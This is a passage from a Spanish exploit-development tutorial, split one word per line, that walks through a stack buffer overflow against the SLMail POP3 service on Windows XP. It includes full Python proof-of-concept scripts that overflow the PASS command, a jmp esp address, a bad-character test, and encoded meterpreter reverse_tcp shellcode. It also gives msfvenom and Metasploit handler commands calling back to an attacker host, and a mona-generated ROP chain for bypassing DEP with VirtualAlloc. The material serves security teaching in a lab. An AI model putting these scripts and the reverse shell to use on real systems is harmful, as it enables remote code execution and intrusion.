“offset”
hasta
EIP
es
de
4654.
Ahora
sabemos
que
necesitamos
una
instrucción
“jmp
esp”,
“call
esp”
o
“push
esp,
ret”
para
poder
saltar
a
nuestro
shellcode
(si
decidimos
almacenarlo
en
el
espacio
de
430
bytes
que
tenemos
disponible).
Volvemos
a
levantar
el
servicio
del
SLMAIL,
adjuntamos
Immunity
y
ejecutamos:
Autor: Ignacio Sorribas
@nachosorribas / http://hardsec.net
https://es.linkedin.com/in/nachosorribas/
Página 18 de 35
• !mona
jmp
-‐r
ESP
Este
comando
buscará
en
todos
los
módulos
cargados
en
memoria
saltos
a
ESP
y
los
almacenará
en
el
fichero
“c:logsSLMAILjmp.txt”.
A
continuación
un
extracto
del
mismo:
0x7608bce1
:
jmp
esp
|
{PAGE_EXECUTE_READ}
[MSVCP60.dll]
ASLR:
False,
Rebase:
False,
SafeSEH:
True,
OS:
True,
v6.02.3104.0
(C:WINDOWSsystem32MSVCP60.dll)
0x7c91fcd8
:
jmp
esp
|
{PAGE_EXECUTE_READ}
[ntdll.dll]
ASLR:
False,
Rebase:
False,
SafeSEH:
True,
OS:
True,
v5.1.2600.6055
(C:WINDOWSsystem32ntdll.dll)
0x71a91c8b
:
jmp
esp
|
{PAGE_EXECUTE_READ}
[wshtcpip.dll]
ASLR:
False,
Rebase:
False,
SafeSEH:
True,
OS:
True,
v5.1.2600.5512
(C:WINDOWSSystem32wshtcpip.dll)
0x77559c77
:
jmp
esp
|
{PAGE_EXECUTE_READ}
[ole32.dll]
ASLR:
False,
Rebase:
False,
SafeSEH:
True,
OS:
True,
v5.1.2600.6435
(C:WINDOWSsystem32ole32.dll)
0x7755a9a8
:
jmp
esp
|
{PAGE_EXECUTE_READ}
[ole32.dll]
ASLR:
False,
Rebase:
False,
SafeSEH:
True,
OS:
True,
v5.1.2600.6435
(C:WINDOWSsystem32ole32.dll)
0x775a693b
:
jmp
esp
|
asciiprint,ascii
{PAGE_EXECUTE_READ}
[ole32.dll]
ASLR:
False,
Rebase:
False,
SafeSEH:
True,
OS:
True,
v5.1.2600.6435
(C:WINDOWSsystem32ole32.dll)
0x775aa873
:
jmp
esp
|
{PAGE_EXECUTE_READ}
[ole32.dll]
ASLR:
False,
Rebase:
False,
SafeSEH:
True,
OS:
True,
v5.1.2600.6435
(C:WINDOWSsystem32ole32.dll)
0x775c0af3
:
jmp
esp
|
{PAGE_EXECUTE_READ}
[ole32.dll]
ASLR:
False,
Rebase:
19. Desarrollo de Exploits en Win32
False,
SafeSEH:
True,
OS:
True,
v5.1.2600.6435
(C:WINDOWSsystem32ole32.dll)
0x77fab257
:
jmp
esp
|
{PAGE_EXECUTE_READ}
[SHLWAPI.dll]
ASLR:
False,
Rebase:
False,
SafeSEH:
True,
OS:
True,
v6.00.2900.5912
(C:WINDOWSsystem32SHLWAPI.dll)
0x662eb24f
:
jmp
esp
|
{PAGE_EXECUTE_READ}
[hnetcfg.dll]
ASLR:
False,
Rebase:
False,
SafeSEH:
True,
OS:
True,
v5.1.2600.5512
(C:WINDOWSsystem32hnetcfg.dll)
0x7e429353
:
jmp
esp
|
{PAGE_EXECUTE_READ}
[USER32.dll]
ASLR:
False,
Rebase:
False,
SafeSEH:
True,
OS:
True,
v5.1.2600.5512
(C:WINDOWSsystem32USER32.dll)
0x7e4456f7
:
jmp
esp
|
{PAGE_EXECUTE_READ}
[USER32.dll]
ASLR:
False,
Rebase:
False,
SafeSEH:
True,
OS:
True,
v5.1.2600.5512
(C:WINDOWSsystem32USER32.dll)
0x7e455af7
:
jmp
esp
|
{PAGE_EXECUTE_READ}
[USER32.dll]
ASLR:
False,
Rebase:
False,
SafeSEH:
True,
OS:
True,
v5.1.2600.5512
(C:WINDOWSsystem32USER32.dll)
0x7e45b310
:
jmp
esp
|
{PAGE_EXECUTE_READ}
[USER32.dll]
ASLR:
False,
Rebase:
False,
SafeSEH:
True,
OS:
True,
v5.1.2600.5512
(C:WINDOWSsystem32USER32.dll)
Cualquiera
de
estas
direcciones
de
memoria
que
apuntan
a
un
“jmp
esp”
nos
vale
para
meter
en
EIP
y
alcanzar
nuestro
shellcode.
Lo
mejor
es
elegir
instrucciones
de
DLLs
que
cambien
poco
o
nada
de
una
versión
de
windows
a
otra,
para
que
el
exploit
sea
más
fiable
y
funcione
en
más
máquinas.
Ahora
que
ya
tenemos
la
dirección
para
meter
en
EIP
y
la
localización
donde
colocar
el
shellcode,
necesitamos
saber
los
“Bad
Chars”
que
afectan
a
nuestro
exploit.
Para
ello,
“mona”
nos
proporciona
el
“bytearray”,
el
cual
metemos
como
shellcode
en
el
exploit,
lo
ejecutamos.
Después
utilizamos
“!mona
compare”
para
comparar
el
“bytearray”
que
hay
en
memoria
con
el
fichero
“bytearray.bin”.
En
cada
comparación
“mona”
indicará
a
partir
de
que
“byte”
el
“array”
se
corrompe
y
cual
ha
sido
el
“byte”
culpable.
Se
volverá
a
crear
el
“bytearray”
pasando
el
“bad
char”
con
el
parámetro
“-‐cpb”
lo
que
volverá
a
crear
los
ficheros
“bytearray.txt”
y
“bytearray.bin”
para
volver
a
ejecutar
el
proceso
y
volver
a
comparar.
Aquí
un
ejemplo:
Autor: Ignacio Sorribas
@nachosorribas / http://hardsec.net
https://es.linkedin.com/in/nachosorribas/
Página 19 de 35
• Creamos
el
bytearray
(!mona
bytearray
-‐cpb
'x00x0a')
• Lo
introducimos
en
nuestro
POC.
import
sys
import
socket
#
BadChars
=
x00x0a
bytearray=("x01x02x03x04x05x06x07x08x09x0bx0cx0dx0ex0fx
20. Desarrollo de Exploits en Win32
10x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1f"
"x20x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3f"
"x40x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5f"
"x60x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7f"
"x80x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9f"
"xa0xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0x
b1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbf"
"xc0xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0xd
1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdf"
"xe0xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf
1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff"
)
buff_size
=
6000
buffer
='A'*4654
buffer
+=
'BBBB'
buffer
+=
bytearray
buffer
+=
'C'*(buff_size
-‐
len(buffer))
HOST
=
'127.0.0.1'
PORT
=
110
s
=
socket.socket(socket.AF_INET,
socket.SOCK_STREAM)
s.connect((HOST,
PORT))
data
=
s.recv(1024)
print
'Received',
repr(data)
s.send('USER
username'+'rn')
data
=
s.recv(1024)
print
'Received',
repr(data)
s.send('PASS
'
+
buffer
+
'rn')
s.close()
Autor: Ignacio Sorribas
@nachosorribas / http://hardsec.net
https://es.linkedin.com/in/nachosorribas/
Página 20 de 35
• Una
vez
lanzado
el
exploit
ejecutamos
el
compare
(!mona
compare
-‐f
c:logsSLMAILbytearray.bin
-‐a
0x0208A154)
21. Desarrollo de Exploits en Win32
La
dirección
de
memoria
del
parámetro
“-‐a”
es
la
dirección
donde
apunta
ESP
(donde
hemos
puesto
el
shellcode).
Si
se
omite
este
parámetro
“mona”
busca
el
“bytearray”
en
todo
la
memoria.
Este
proceso
de
comparar
el
“bytearray”
hay
que
repetirlo
hasta
que
“mona”
nos
indique
que
ya
no
hay
corrupción.
Esta
es
la
pantalla
que
lo
indica.
Una
vez
tenemos
los
“Bad
Chars”,
podemos
crear
un
shellcode
y
añadirlo
a
nuestro
POC.
Desde
nuestra
máquina
Kali
Linux
ejecutaremos
el
siguiente
comando:
msfpayload
windows/meterpreter/reverse_tcp
LHOST=192.168.65.159
R
|
msfencode
-‐b
‘x00x0ax0d’
-‐e
x86/shikata_ga_nai
-‐t
c
Nuestra
POC
quedará
del
siguiente
modo:
import
sys
import
socket
#
BadChars
=
"x00x0ax0d"
#
msfvenom
-‐p
windows/meterpreter/reverse_tcp
LHOST=192.168.65.159
LPORT=4444
-‐b'x00x0ax0d'
-‐-‐format
c
Autor: Ignacio Sorribas
@nachosorribas / http://hardsec.net
https://es.linkedin.com/in/nachosorribas/
Página 21 de 35
22. Desarrollo de Exploits en Win32
#Attempting
to
encode
payload
with
1
iterations
of
x86/shikata_ga_nai
#x86/shikata_ga_nai
succeeded
with
size
314
(iteration=0)
shellcode=(
"xdaxc8xbbx2bxedxecx6dxd9x74x24xf4x5dx29xc9xb1"
"x48x31x5dx1ax83xc5x04x03x5dx16xe2xdex11x04xeb"
"x20xeaxd5x94xa9x0fxe4x86xcdx44x55x17x86x09x56"
"xdcxcaxb9xedx90xc2xcex46x1ex34xe0x57xaexf8xae"
"x94xb0x84xacxc8x12xb5x7ex1dx52xf2x63xeex06xab"
"xe8x5dxb7xd8xadx5dx3cx92x21xe6xa1x60x43xc7x77"
"xffx1axc7x76x2cx17x4ex61x31x14x18x1ax81xeex9b"
"xcaxd8x0fxaax32xb6x31x02xbfxc7x76xa5x20xb2x8c"
"xd5xddxc4x56xa7x39x41x4bx0fxc9xf1xafxb1x1ex67"
"x3bxbdxebxecx63xa2xeax21x18xdex67xc4xcfx56x33"
"xe2xcbx33xe7x8bx4ax9ex46xb4x8dx46x36x10xc5x65"
"x23x2dx84xe1x80x1fx37xf2x8ex28x44xc0x11x82xc2"
"x68xd9x0cx14x8exf0xe8x8ax71xfbx08x82xb5xafx58"
"xbcx1cxd0x33x3cxa0x05x93x6cx0exf6x53xddxeexa6"
"x3bx37xe1x99x5bx38x2bxb2xf1xc2xbcx7dxadx8cxa0"
"x16xafx0exc8xbax26xe8x80x52x6exa2x3cxcax2bx38"
"xdcx13xe6x44xdex98x04xb8x91x68x61xaax46x99x3c"
"x90xc1xa6xebxbfxedx32x17x16xb9xaax15x4fx8dx74"
"xe6xbax85xbdx72x05xf2xc1x92x85x02x94xf8x85x6a"
"x40x58xd6x8fx8fx75x4ax1cx1ax75x3bxf0x8dx1dxc1"
"x2fxf9x82x3ax1axfbxffxecx63x79x09x9bx87x41"
)
eip
=
'xe1xbcx08x76'
#0x7608bce1
:
jmp
esp
|
[MSVCP60.dll]
buff_size
=
6000
buffer
='A'*4654
buffer
+=
eip
buffer
+=
shellcode
buffer
+=
'C'*(buff_size
-‐
len(buffer))
HOST
=
'127.0.0.1'
PORT
=
110
s
=
socket.socket(socket.AF_INET,
socket.SOCK_STREAM)
s.connect((HOST,
PORT))
data
=
s.recv(1024)
print
'Received',
repr(data)
s.send('USER
username'+'rn')
data
=
s.recv(1024)
print
'Received',
repr(data)
s.send('PASS
'
+
buffer
+
'rn')
s.close()
Si
ejecutamos
esta
POC
poniendo
un
breakpoint
en
“0x7608bce1”
(jmp
esp)
y
una
vez
alcanzado
dicho
“breakpoint”
pulsamos
“f7”
observaremos
que
se
comienzan
a
Autor: Ignacio Sorribas
@nachosorribas / http://hardsec.net
https://es.linkedin.com/in/nachosorribas/
Página 22 de 35
23. Desarrollo de Exploits en Win32
ejecutar
las
instrucciones
de
nuestro
“shellcode”
(podemos
ejecutar
algunas
utilizando
“f7”),
pero
si
pulsamos
“f9”
para
seguir
con
la
ejecución
el
exploit
falla.
¿Por
qué?
Si
repetimos
el
proceso
y
nos
fijamos
en
la
ventana
de
las
instrucciones
de
la
CPU
de
Immunity,
veremos
que
al
principio
del
“shellcode”
hay
una
rutina
que
decodifica
el
“shellcode”
en
memoria.
Esta
rutina
interactúa
con
la
pila
para
poder
decodificar
las
instrucciones
del
“shellcode”.
Recordemos
que
cuando
se
llama
una
instrucción
“push”
se
inserta
un
dato
donde
apunta
ESP
y
cuando
hacemos
“pop”
se
lee
el
dato
apuntado
por
ESP
y
este
se
incrementa.
Ahora
recordemos
que
ESP
y
EIP
en
cuanto
se
ejecuta
la
instrucción
“jmp
esp”
apuntan
a
la
misma
dirección
de
memoria.
La
rutina
de
decodificación,
al
interactuar
con
la
pila
está
corrompiendo
nuestro
shellcode.
Para
solucionar
esto,
ESP
siempre
debe
apuntar
a
una
dirección
de
memoria
inferior
a
la
que
apunta
EIP,
así
no
corromperá
el
“shellcode”
metido
en
la
pila.
Así
pues,
antes
del
shellcode,
debemos
restarle
una
cantidad
de
bytes
a
ESP,
lo
cual
lo
alejará
de
EIP.
Para
hacer
esto
utilizaremos
“metasm_shell.rb”
una
herramienta
que
se
encuentra
en
Metasploit.
Aquí
vemos
el
proceso.
Vamos
a
desplazar
ESP
240h
(576
bytes)
hacia
atrás
en
la
pila.
Para
ello
primero
probamos
la
resta
(sub
esp,240h).
Metasm_shell
devuelve
los
“opcodes”
a
ejecutar
pero
como
se
puede
ver
en
la
captura,
hay
dos
“null
bytes”
que
están
en
la
lista
de
“Bad
Chars”.
Entonces
hacemos
una
suma
de
un
valor
en
negativo
(add
esp,-‐240h)
lo
cual
nos
da
unos
opcodes
que
si
nos
sirven.
Así
pues
nuestro
exploit
final
queda
de
la
siguiente
forma:
import
sys
import
socket
Autor: Ignacio Sorribas
@nachosorribas / http://hardsec.net
https://es.linkedin.com/in/nachosorribas/
Página 23 de 35
25. Desarrollo de Exploits en Win32
s.send('PASS
'
+
buffer
+
'rn')
s.close()
Levantamos
en
nuestra
Kali
un
handler
de
Metasploit
para
esperar
la
sesión
de
meterpreter.
msfcli
exploit/multi/handler
payload=windows/meterpreter/reverse_tcp
LHOST=192.168.65.159
EXITFUNC=thread
E
Si
ejecutamos
el
exploit
con
el
breakpoint
anterior
y
pulsamos
“f7”
vemos
que
alcanzamos
las
instrucciones
de
salto
que
hemos
introducido.
Al
pulsar
“f7”
otra
vez
vemos
como
cambia
el
valor
de
ESP
y
pulsando
nuevamente
“f7”
se
empieza
a
ejecutar
el
shellcode.
Si
continuamos
la
ejecución
con
“f9”,
el
proceso
termina
su
ejecución
correctamente
y
en
nuestra
Kali:
Autor: Ignacio Sorribas
@nachosorribas / http://hardsec.net
https://es.linkedin.com/in/nachosorribas/
Página 25 de 35
Pwned!!!!!
26. Desarrollo de Exploits en Win32
DEP
(Data
Execution
Prevention)
DEP
no
permite
la
ejecución
de
código
en
zonas
de
memoria
como
la
pila,
la
sección
“.data”,
etc.
Por
defecto
Windows
XP
viene
en
OptIn
(activo
solo
para
procesos
del
sistema).
Vamos
a
cambiarlo
por
OptOut
(todos
los
procesos
excepto
los
que
se
pongan
en
la
lista
de
exclusión).
Para
ello,
sobre
“Mi
PC”
botón
derecho
y
click
en
propiedades.
Pestaña
“Avanzado”
y
pulsamos
sobre
el
botón
de
“Configuración”
en
la
sección
de
“rendimiento”.
En
las
opciones
de
rendimiento
vamos
a
la
tercera
pestaña
(DEP)
y
seleccionamos
la
segunda
opción,
tal
como
vemos
en
la
siguiente
captura.
Pulamos
dos
veces
en
“OK”
y
reiniciamos
la
máquina.
Ahora
intentamos
ejecutar
nuestro
exploit
con
el
proceso
“SLMAIL”
adjuntado
al
“Immunity
Debugger”.
Pasa
lo
siguiente:
Autor: Ignacio Sorribas
@nachosorribas / http://hardsec.net
https://es.linkedin.com/in/nachosorribas/
Página 26 de 35
27. Desarrollo de Exploits en Win32
Si
nos
fijamos
en
la
ventana
de
instrucciones,
veremos
que
se
trata
de
la
instrucción
que
mueve
a
ESP
lejos
de
EIP,
o
sea
la
primera
instrucción
que
intentamos
ejecutar
en
la
pila.
El
“jmp
esp”
apuntado
por
EIP
que
introdujimos
al
principio
de
nuestro
exploit
si
se
ha
ejecutado
con
éxito.
Esto
es
porque
la
instrucción
no
está
en
la
pila,
sino
en
otra
zona
de
memoria
y
EIP
tan
solo
contenía
un
puntero
a
ella.
El
método
para
poder
ejecutar
código
arbitrario
cuando
tenemos
DEP
activo,
es
intentar
buscar
en
memoria
direcciones
que
apunten
a
determinadas
instrucciones
que
queremos
ejecutar
(conocido
como
return
to
libc)
seguidas
de
una
instrucción
“RET”
(gadgets)
e
ir
encadenándolas
en
la
pila.
El
encadenamiento
de
estas
instrucciones
es
lo
que
se
conoce
como
ROP
(Return
Oriented
Programming).
Un
poco
de
teoría
sobre
ROP:
El
registro
EIP
(Instruction
Pointer)
contiene
la
dirección
en
memoria
de
la
siguiente
instrucción
que
se
va
a
ejecutar.
La
instrucción
“RET”,
des
apila
el
último
valor
puesto
en
la
pila,
y
lo
carga
en
EIP.
Por
la
tanto
si
sobrescribimos
EIP
con
un
puntero
a
una
instrucción
“RET”
y
ponemos
en
la
pila
una
serie
de
punteros
a
instrucción
y
nos
aseguramos
que
después
de
dicha
instrucción
haya
un
“RET”,
conseguimos
encadenar
las
instrucciones
necesarias
para
realizar
las
acciones
deseadas
(hay
que
tener
en
cuenta
que
las
instrucciones
“POP”
y
“PUSH”
modifican
la
pila,
por
lo
tanto
hay
que
prepararla
para
que
dichas
instrucciones
no
modifiquen
la
cadena
de
instrucciones
que
queremos
ejecutar).
Como
ejemplo,
la
siguiente
imagen:
Autor: Ignacio Sorribas
@nachosorribas / http://hardsec.net
https://es.linkedin.com/in/nachosorribas/
Página 27 de 35
28. Desarrollo de Exploits en Win32
En
la
imagen,
hemos
sobrescrito
EIP
con
la
dirección
0x77c46027
que
es
un
puntero
a
las
instrucciones
(pop
ecx,
ret).
A
continuación
hemos
preparado
la
pila
para
que
la
instrucción
“POP”
saque
el
valor
“0xffffffff”,
lo
ponga
en
“ECX”,
y
después
la
instrucción
“RET”
ponga
en
“EIP”
la
dirección
“0x77c3ba0f”.
Ahora
vemos
el
estado
de
la
pila
y
los
registros
después
de
ejecutarse
esas
dos
instrucciones:
Como
podemos
observar,
ahora
ya
estamos
preparados
para
ejecutar
las
instrucciones
siguientes.
Mediante
ROP
podríamos
intentar
crear
el
shellcode
que
necesitamos
ejecutar
pero
no
es
seguro
que
pudiéramos
encontrar
todas
las
instrucciones
necesarias.
Afortunadamente
la
API
de
Windows
nos
ofrece
una
serie
de
funciones
que
nos
van
a
permitir
marcar
la
pila
del
proceso
como
memoria
ejecutable,
y
una
vez
hecho
esto,
ya
podremos
ejecutar
código
en
la
pila
como
si
de
un
exploit
convencional
se
tratara.
Existen
distintas
funciones
para
esta
finalidad
dependiendo
de
la
versión
de
Windows,
pero
las
más
utilizadas
(por
ser
las
mas
portables
entre
distintas
versiones
de
Windows)
son
“VirtualAlloc”
y
“VirtualProtect”.
La
descripción
de
“VirtualAlloc”
puede
verse
en
http://msdn.microsoft.com/en-‐
us/library/windows/desktop/aa366887(v=vs.85).aspx.
Autor: Ignacio Sorribas
@nachosorribas / http://hardsec.net
https://es.linkedin.com/in/nachosorribas/
Página 28 de 35
29. Desarrollo de Exploits en Win32
VirtualAlloc
reserva
una
región
de
páginas
en
el
espacio
de
memoria
virtual
del
proceso
llamador.
Aquí
su
sintaxis:
Los
parámetros
que
recibe
“VirtualAlloc”
son
la
dirección
de
memoria
donde
empezar
la
reserva,
el
tamaño
de
memoria
a
reservar
en
bytes,
el
tipo
de
reserva
a
realizar
y
la
protección
de
memoria
para
las
páginas
reservadas.
Este
ultimo
parámetro,
si
se
pone
a
“0x40”
(PAGE_EXECUTE_READWRITE)
nos
permitirá
ejecutar
código
en
esa
zona
de
memoria
reservada.
La
descripción
de
“VirtualProtect”
puede
verse
en
http://msdn.microsoft.com/en-‐
us/library/windows/desktop/aa366898(v=vs.85).aspx
VirtualProtect
sirve
para
cambiar
el
tipo
de
protección
de
una
región
de
memoria
dentro
del
espacio
de
memoria
virtual
del
proceso
llamador.
Aquí
su
sintaxis:
En
este
caso,
hay
que
pasar
la
dirección
a
partir
de
la
cual
cambiar
la
protección,
el
tamaño
en
bytes
de
la
región
a
cambiar,
el
tipo
de
protección
deseada
(0x40)
y
un
Autor: Ignacio Sorribas
@nachosorribas / http://hardsec.net
https://es.linkedin.com/in/nachosorribas/
Página 29 de 35
30. Desarrollo de Exploits en Win32
puntero
a
una
variable
que
recibirá
el
valor
de
la
protección
actual
de
la
zona.
Este
último
valor
debe
ser
una
variable
buena,
si
es
“null”
o
una
variable
que
no
existe
la
llamada
fallará.
Los
pasos
para
“arreglar”
nuestro
exploit
y
que
funcione
con
DEP
activado
son
los
siguientes:
Autor: Ignacio Sorribas
@nachosorribas / http://hardsec.net
https://es.linkedin.com/in/nachosorribas/
Página 30 de 35
• Encontrar
un
“rop
chain”
que
ejecute
“VirtualAlloc”
• Poner
nuestro
shellcode
a
continuación
del
“rop
chain”
• Sustituir
el
puntero
“jmp
esp”
que
utilizábamos
en
EIP
por
una
instrucción
“RET”.
Para
crear
un
“ropchain”
que
prepare
la
ejecución
de
“virtualalloc”
o
“virtualprotect”,
“mona”
puede
ayudarnos
muchísimo.
En
el
punto
donde
nuestro
exploit
ha
fallado,
con
el
SLMAIL
adjuntado
ejecutamos
“!mona
rop”.
En
el
directorio
de
salida
“c:logsSLMAIL”
“mona”
creará
varios
ficheros
(rop.txt,
rop_suggestions.txt,
rop_chains.txt,
stackpivot.txt).
El
fichero
“rop_chains.txt”
contiene
los
“chains”
que
“mona”
intenta
crear,
pero
si
nos
fijamos
a
todos
ellos
les
falta
algún
dato
o
parámetro
para
el
cual
no
se
ha
conseguido
“gadget”.
Por
defecto
“mona”
excluye
los
módulos
del
sistema
operativo
para
crear
los
“chains”
en
un
intento
de
hacer
exploits
más
fiables,
pero
en
este
caso
al
no
encontrar
un
“chain”
completo,
podemos
forzarlo
a
que
busque
en
alguno
de
estos
módulos.
Además
le
indicaremos
nuestra
lista
de
“Bad
Chars”
para
que
los
excluya
también.
!mona
rop
-‐cpb
‘x00x0ax0d’
-‐m
msvcrt.dll
Este
es
el
“chain”
para
“VirtualAlloc”.
def
create_rop_chain():
#
rop
chain
generated
with
mona.py
-‐
www.corelan.be
rop_gadgets
=
[
0x77c32aed,
#
POP
EBP
#
RETN
[msvcrt.dll]
0x77c32aed,
#
skip
4
bytes
[msvcrt.dll]
0x77c46e9d,
#
POP
EBX
#
RETN
[msvcrt.dll]
0xffffffff,
#
0x77c127e1,
#
INC
EBX
#
RETN
[msvcrt.dll]
0x77c127e1,
#
INC
EBX
#
RETN
[msvcrt.dll]
0x77c3b860,
#
POP
EAX
#
RETN
[msvcrt.dll]
0x2cfe1467,
#
put
delta
into
eax
(-‐>
put
0x00001000
into
edx)
0x77c4eb80,
#
ADD
EAX,75C13B66
#
ADD
EAX,5D40C033
#
RETN
[msvcrt.dll]
31. Desarrollo de Exploits en Win32
0x77c58fbc,
#
XCHG
EAX,EDX
#
RETN
[msvcrt.dll]
0x77c4e0da,
#
POP
EAX
#
RETN
[msvcrt.dll]
0x2cfe04a7,
#
put
delta
into
eax
(-‐>
put
0x00000040
into
ecx)
0x77c4eb80,
#
ADD
EAX,75C13B66
#
ADD
EAX,5D40C033
#
RETN
Autor: Ignacio Sorribas
@nachosorribas / http://hardsec.net
https://es.linkedin.com/in/nachosorribas/
Página 31 de 35
[msvcrt.dll]
0x77c14001,
#
XCHG
EAX,ECX
#
RETN
[msvcrt.dll]
0x77c47cde,
#
POP
EDI
#
RETN
[msvcrt.dll]
0x77c47a42,
#
RETN
(ROP
NOP)
[msvcrt.dll]
0x77c22666,
#
POP
ESI
#
RETN
[msvcrt.dll]
0x77c2aacc,
#
JMP
[EAX]
[msvcrt.dll]
0x77c4debf,
#
POP
EAX
#
RETN
[msvcrt.dll]
0x77c1110c,
#
ptr
to
&VirtualAlloc()
[IAT
msvcrt.dll]
0x77c12df9,
#
PUSHAD
#
RETN
[msvcrt.dll]
0x77c35459,
#
ptr
to
'push
esp
#
ret
'
[msvcrt.dll]
]
return
''.join(struct.pack('<I',
_)
for
_
in
rop_gadgets)
Utilizando
esta
función
creada
por
“mona”
generamos
nuestra
poc.
import
sys
import
socket
import
struct
#
BadChars
=
"x00x0ax0d"
#
msfvenom
-‐p
windows/meterpreter/reverse_tcp
LHOST=192.168.65.159
LPORT=4444
-‐b'x00x0ax0d'
-‐-‐format
c
#Attempting
to
encode
payload
with
1
iterations
of
x86/shikata_ga_nai
#x86/shikata_ga_nai
succeeded
with
size
314
(iteration=0)
shellcode=("xdbxcdxbax74x92xddx38xd9x74x24xf4x5bx33xc9x
b1"
"x48x31x53x1ax03x53x1ax83xebxfcxe2x81x6ex35xbe"
"x69x8fxc6xdfxe0x6axf7xcdx96xffxaaxc1xddx52x47"
"xa9xb3x46xdcxdfx1bx68x55x55x7dx47x66x5bx41x0b"
"xa4xfdx3dx56xf9xddx7cx99x0cx1fxb9xc4xffx4dx12"
"x82x52x62x17xd6x6ex09x6bxc7xf6xeex39xe6xd7xa0"
"x36xb1xf7x43x9bxc9xb1x5bxf8xf2x08xd7xcax81x8a"
"x31x03x69xbdx7dxcfx54x71x70x0ex90xb6x6bx65xea"
"xc4x16x7dx29xb6xccx08xacx10x86xaax14xa0x4bx2c"
"xdexaex20x3bxb8xb2xb7xe8xb2xcfx3cx0fx15x46x06"
"x2bxb1x02xdcx52xe0xeexb3x6bxf2x57x6bxc9x78x75"
"x78x64x23x12x4dx44xdcxe2xd9xdfxafxd0x46x4bx38"
"x59x0ex55xbfx9ex25x21x2fx61xc6x51x79xa6x92x01"
"x11x0fx9bxcaxe1xb0x4ex5cxb2x1ex21x1cx62xdfx91"
"xf4x68xd0xcexe4x92x3ax67x8ex69xadx48xe6x33xb2"
"x21xf4xb3xddxedx71x55xb7x1dxd7xcdx20x87x72x85"
"xd1x48xa9xe3xd2xc3x5dx13x9cx23x28x07x49xc4x67"
"x75xdcxdbx52x10xe1x49x58xb3xb6xe5x62xe2xf1xa9"
"x9dxc1x89x60x0bxaaxe5x8cxdbx2axf6xdaxb1x2ax9e"
32. Desarrollo de Exploits en Win32
"xbaxe1x78xbbxc4x3cxedx10x51xbex44xc4xf2xd6x6a"
"x33x34x79x94x16xc4x46x43x5fx42xbexe1xb3x8e")
def
create_rop_chain():
#
rop
chain
generated
with
mona.py
-‐
www.corelan.be
rop_gadgets
=
[
0x77c32aed,
#
POP
EBP
#
RETN
[msvcrt.dll]
0x77c32aed,
#
skip
4
bytes
[msvcrt.dll]
0x77c46e9d,
#
POP
EBX
#
RETN
[msvcrt.dll]
0xffffffff,
#
0x77c127e1,
#
INC
EBX
#
RETN
[msvcrt.dll]
0x77c127e1,
#
INC
EBX
#
RETN
[msvcrt.dll]
0x77c3b860,
#
POP
EAX
#
RETN
[msvcrt.dll]
0x2cfe1467,
#
put
delta
into
eax
(-‐>
put
0x00001000
into
edx)
0x77c4eb80,
#
ADD
EAX,75C13B66
#
ADD
EAX,5D40C033
#
RETN
Autor: Ignacio Sorribas
@nachosorribas / http://hardsec.net
https://es.linkedin.com/in/nachosorribas/
Página 32 de 35
[msvcrt.dll]
0x77c58fbc,
#
XCHG
EAX,EDX
#
RETN
[msvcrt.dll]
0x77c4e0da,
#
POP
EAX
#
RETN
[msvcrt.dll]
0x2cfe04a7,
#
put
delta
into
eax
(-‐>
put
0x00000040
into
ecx)
0x77c4eb80,
#
ADD
EAX,75C13B66
#
ADD
EAX,5D40C033
#
RETN
[msvcrt.dll]
0x77c14001,
#
XCHG
EAX,ECX
#
RETN
[msvcrt.dll]
0x77c47cde,
#
POP
EDI
#
RETN
[msvcrt.dll]
0x77c47a42,
#
RETN
(ROP
NOP)
[msvcrt.dll]
0x77c22666,
#
POP
ESI
#
RETN
[msvcrt.dll]
0x77c2aacc,
#
JMP
[EAX]
[msvcrt.dll]
0x77c4debf,
#
POP
EAX
#
RETN
[msvcrt.dll]
0x77c1110c,
#
ptr
to
&VirtualAlloc()
[IAT
msvcrt.dll]
0x77c12df9,
#
PUSHAD
#
RETN
[msvcrt.dll]
0x77c35459,
#
ptr
to
'push
esp
#
ret
'
[msvcrt.dll]
]
return
''.join(struct.pack('<I',
_)
for
_
in
rop_gadgets)
eip
=
struct.pack('<I',
0x7608bce1)
#0x7608bce1
:
jmp
esp
|
{PAGE_EXECUTE_READ}
[MSVCP60.dll]
rop_chain
=
create_rop_chain()
buff_size
=
6000
buffer
='A'*4654
buffer
+=
eip
buffer
+=
rop_chain
buffer
+=
shellcode
buffer
+=
'C'*(buff_size
-‐
len(buffer))
HOST
=
'127.0.0.1'
PORT
=
110
33. Desarrollo de Exploits en Win32
s
=
socket.socket(socket.AF_INET,
socket.SOCK_STREAM)
s.connect((HOST,
PORT))
data
=
s.recv(1024)
print
'Received',
repr(data)
s.send('USER
username'+'rn')
data
=
s.recv(1024)
print
'Received',
repr(data)
s.send('PASS
'
+
buffer
+
'rn')
s.close()
Este
exploit
no
funcionará
aún
porque
en
EIP
tenemos
un
puntero
a
“jmp
esp”
y
esto
no
nos
sirve
porque
no
se
puede
ejecutar
código
en
el
lugar
donde
apunta
ESP.
Necesitamos
poner
en
EIP
una
instrucción
“ret”
que
des
apile
el
primer
“gadget”
y
lo
ejecute.
Esta
instrucción
la
podemos
encontrar
en
“rop.txt”.
Elegiremos
la
siguiente
instrucción
por
ejemplo:
0x77c46027
:
#
POP
ECX
#
RETN
**
[msvcrt.dll]
**
|
{PAGE_EXECUTE_READ}
Como
se
puede
observar,
este
“gadget”
ejecutará
“pop
ECX”,
“ret”.
La
primera
instrucción
des
apilará
un
“dword”
del
tope
de
la
pila
y
lo
meterá
en
ECX
y
la
segunda
des
apilará
otro
“dword”
y
lo
meterá
en
EIP
para
ejecutar.
Entonces
será
